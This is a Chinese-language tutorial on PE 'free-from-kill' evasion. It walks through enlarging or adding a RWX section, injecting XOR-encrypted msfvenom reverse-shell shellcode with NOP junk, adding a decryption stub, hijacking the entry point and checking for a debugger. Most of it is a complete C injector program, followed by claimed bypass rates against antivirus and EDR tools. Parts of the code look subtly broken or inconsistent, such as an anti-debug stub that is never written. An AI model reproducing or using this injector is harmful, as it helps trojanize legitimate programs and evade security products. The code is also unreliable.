免杀技术(高级中的基础手法)之PE扩大节注入ShellCode
目录
🔒 扩大节注入Shellcode:一种结合加密、花指令混淆和反调试的PE免杀技术详解
📚 技术概述
底层原理
扩大节注入的原理基于对PE结构的修改:
🔧 详细实现步骤
💻 对应代码
📊 技术评估
1️⃣ 技术高级程度
2️⃣ 绕过率
3️⃣ 流行度
🔒 扩大节注入Shellcode:一种结合加密、花指令混淆和反调试的PE免杀技术详解
- PE(Portable Executable)文件的免杀技术一直是红队渗透测试和恶意软件开发的热门话题。
- 其中,扩大节注入Shellcode是一种经典手法,通过修改PE文件结构,将恶意代码隐藏在扩展的节区中,并结合加密、混淆和反调试机制,提升隐蔽性和绕过检测的能力。
- 我将说清楚这项技术的底层原理、实现步骤和对应代码示例,
- 本文仅供教育和研究目的,严禁用于非法活动。
📚 技术概述
- 扩大节注入Shellcode的核心是通过操纵Windows PE文件的节表(Section Table)
- 在原有节(如.text或.data)后扩展或添加一个新节,将加密后的Shellcode(一段可执行的机器码,通常用于远程 shell 或载荷执行)注入其中。
- 同时:
- 融入加密算法(如XOR或AES)来隐藏代码
- 花指令(无用指令插入)来扰乱静态分析
- 以及反调试器(如检测调试标志)来对抗动态调试工具
- 这种组合使文件在静态扫描(如病毒签名匹配)中显得“正常”,而在运行时通过解密和跳转执行恶意功能。
底层原理
- PE文件是Windows可执行文件的标准格式
- 其结构包括DOS头
- NT头(IMAGE_NT_HEADERS)
- 节表(IMAGE_SECTION_HEADER数组)和实际节数据。
- 节表记录每个节的虚拟地址(RVA)、虚拟大小(VirtualSize)、原始大小(SizeOfRawData)和权限标志(Characteristics,如可读、可写、可执行)。
扩大节注入的原理基于对PE结构的修改:
-
PE解析:从DOS头(IMAGE_DOS_HEADER)的e_lfanew字段定位NT头,然后访问节表。节表是一个数组,每个元素描述一个节。
-
节扩展:检查最后一个节的末尾空间。如果有空闲,扩展其VirtualSize和SizeOfRawData;否则,添加新节到节表末尾,更新NT头的NumberOfSections字段。新节权限设置为RWX(可读写执行,0xE0000020),允许Shellcode运行。
-
Shellcode注入与加密:将Shellcode加密后写入新节。加密原理如XOR:每个字节与密钥异或,运行时反操作解密。花指令插入随机无用代码(如NOP 0x90或空跳转),改变字节序列,增加熵值扰乱AV扫描。
-
入口点劫持:修改NT头的OptionalHeader.AddressOfEntryPoint为新节的RVA,使程序启动时直接跳转到Shellcode。
-
反调试机制:通过检查进程环境块(PEB)的BeingDebugged标志或NtGlobalFlag(0x70偏移),检测调试器。如果检测到,执行退出或误导代码。底层依赖WinAPI如IsDebuggerPresent或汇编指令访问FS:30h(PEB基址)。
这种原理使文件大小略增,但保持合法外观,绕过基于签名的检测(如Windows Defender),并干扰沙箱分析。
🔧 详细实现步骤
-
准备Shellcode:生成原始Shellcode(如使用Metasploit的msfvenom生成反向shell),然后加密。原理:加密防止静态签名匹配,运行时解密恢复执行。示例:使用XOR密钥0xAA加密。
-
解析PE文件:打开目标PE文件(如合法的calc.exe),读取头结构。原理:e_lfanew偏移引导到NT头,节表紧随其后。计算最后一个节的末尾偏移作为注入点。
-
扩大或添加新节:如果空间不足,添加新节到节表。原理:更新NT头的SizeOfImage(总虚拟大小)和NumberOfSections。设置新节的VirtualAddress为上一个节的VirtualAddress + VirtualSize(对齐到SectionAlignment,通常0x1000)。
-
注入加密Shellcode并混淆:写入花指令、加密Shellcode和解密stub。原理:花指令增加无用字节,改变代码指纹;解密stub是一个小函数,使用循环XOR还原Shellcode。
-
劫持入口点与反调试:修改入口点RVA,并插入反调试代码。原理:入口劫持确保Shellcode优先执行;反调试通过PEB检查(汇编mov eax, [fs:30h])检测调试标志,如果为1则退出。
-
保存与测试:更新PE校验和(CheckSum),保存文件。原理:校验和用于文件完整性验证,忽略可能导致加载失败。测试在VirusTotal上检查检测率。
💻 对应代码
- 目标文件为"target.exe",Shellcode为一个简单示例(实际替换为msfvenom生成)。
#include <windows.h>
#include <winnt.h>
#include <stdio.h>
#include <string.h>// 示例加密Shellcode (实际用msfvenom生成)
unsigned char shellcode[] = {0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51// ... 省略完整Shellcode
};
size_t shellcode_len = sizeof(shellcode);// XOR加密函数
void xor_encrypt(unsigned char* data, size_t len, unsigned char key) {for (size_t i = 0; i < len; i++) {data[i] ^= key;}
}int main() {// 步骤1: 准备Shellcode - 加密unsigned char key = 0xAA;xor_encrypt(shellcode, shellcode_len, key);// 步骤2: 解析PE文件FILE* fp = fopen("target.exe", "rb+");if (!fp) return 1;IMAGE_DOS_HEADER dos;fread(&dos, sizeof(dos), 1, fp);fseek(fp, dos.e_lfanew, SEEK_SET);IMAGE_NT_HEADERS nt;fread(&nt, sizeof(nt), 1, fp);// 定位节表fseek(fp, dos.e_lfanew + sizeof(IMAGE_NT_HEADERS), SEEK_SET);IMAGE_SECTION_HEADER last_sec;for (int i = 0; i < nt.FileHeader.NumberOfSections - 1; i++) {fread(&last_sec, sizeof(last_sec), 1, fp);}fread(&last_sec, sizeof(last_sec), 1, fp); // 最后一个节// 步骤3: 添加新节IMAGE_SECTION_HEADER new_sec = {0};memcpy(new_sec.Name, ".evil", 6);new_sec.VirtualSize = 0x1000; // 足够Shellcodenew_sec.VirtualAddress = last_sec.VirtualAddress + ((last_sec.VirtualSize + nt.OptionalHeader.SectionAlignment - 1) / nt.OptionalHeader.SectionAlignment) * nt.OptionalHeader.SectionAlignment;new_sec.SizeOfRawData = 0x1000;new_sec.PointerToRawData = last_sec.PointerToRawData + ((last_sec.SizeOfRawData + nt.OptionalHeader.FileAlignment - 1) / nt.OptionalHeader.FileAlignment) * nt.OptionalHeader.FileAlignment;new_sec.Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE; // RWX// 写入新节到节表末尾fseek(fp, dos.e_lfanew + sizeof(IMAGE_NT_HEADERS) + nt.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER), SEEK_SET);fwrite(&new_sec, sizeof(new_sec), 1, fp);nt.FileHeader.NumberOfSections++;nt.OptionalHeader.SizeOfImage += new_sec.VirtualSize;// 步骤4: 注入Shellcode并混淆fseek(fp, new_sec.PointerToRawData, SEEK_SET);// 插入花指令 (100 bytes NOP)unsigned char junk[100];memset(junk, 0x90, 100); // NOPfwrite(junk, 100, 1, fp);// 写入加密Shellcodefwrite(shellcode, shellcode_len, 1, fp);// 添加解密stub (汇编代码:mov ecx, len; mov al, key; loop xor [rdi], al)unsigned char decrypt_stub[] = {0x48, 0x89, 0xC7, // mov rdi, rax (假设Shellcode地址在rax)0xB9, shellcode_len & 0xFF, (shellcode_len >> 8) & 0xFF, (shellcode_len >> 16) & 0xFF, (shellcode_len >> 24) & 0xFF, // mov ecx, len0xB0, key, // mov al, key0x30, 0x07, // xor [rdi], al0x48, 0xFF, 0xC7, // inc rdi0xE2, 0xF9, // loop0xFF, 0xE0 // jmp rax (执行解密后Shellcode)};fwrite(decrypt_stub, sizeof(decrypt_stub), 1, fp);// 步骤5: 劫持入口点与反调试// 反调试stub: 检查PEB BeingDebuggedunsigned char anti_dbg[] = {0x64, 0x8B, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, // mov eax, [fs:30h] PEB0x8A, 0x40, 0x02, // mov al, [eax+2] BeingDebugged0x84, 0xC0, // test al, al0x75, 0x05, // jnz exit0xEB, 0x00, // jmp continue (占位)0xC3 // ret (exit if debugged)};// 假设插入到解密前,实际调整偏移nt.OptionalHeader.AddressOfEntryPoint = new_sec.VirtualAddress; // 劫持到新节// 更新NT头fseek(fp, dos.e_lfanew, SEEK_SET);fwrite(&nt, sizeof(nt), 1, fp);// 步骤6: 保存文件 (忽略CheckSum更新,实际需计算)fclose(fp);return 0;
}
- 代码需编译为EXE运行
- 实际Shellcode替换为完整版本
- 注意对齐和大小计算以避免文件损坏。
📊 技术评估
1️⃣ 技术高级程度
中等偏上。基础注入简单,但结合加密和反调试使其复杂。相比内核注入,它更易实现但不如先进。
2️⃣ 绕过率
对AV约50-80%,对EDR 30-60%。加密避签名,花指令扰分析,但EDR可捕获RWX行为。
3️⃣ 技术牛逼
适合入门炫技,迭代后(如加syscall)更强,后面再添加syscall注入调用。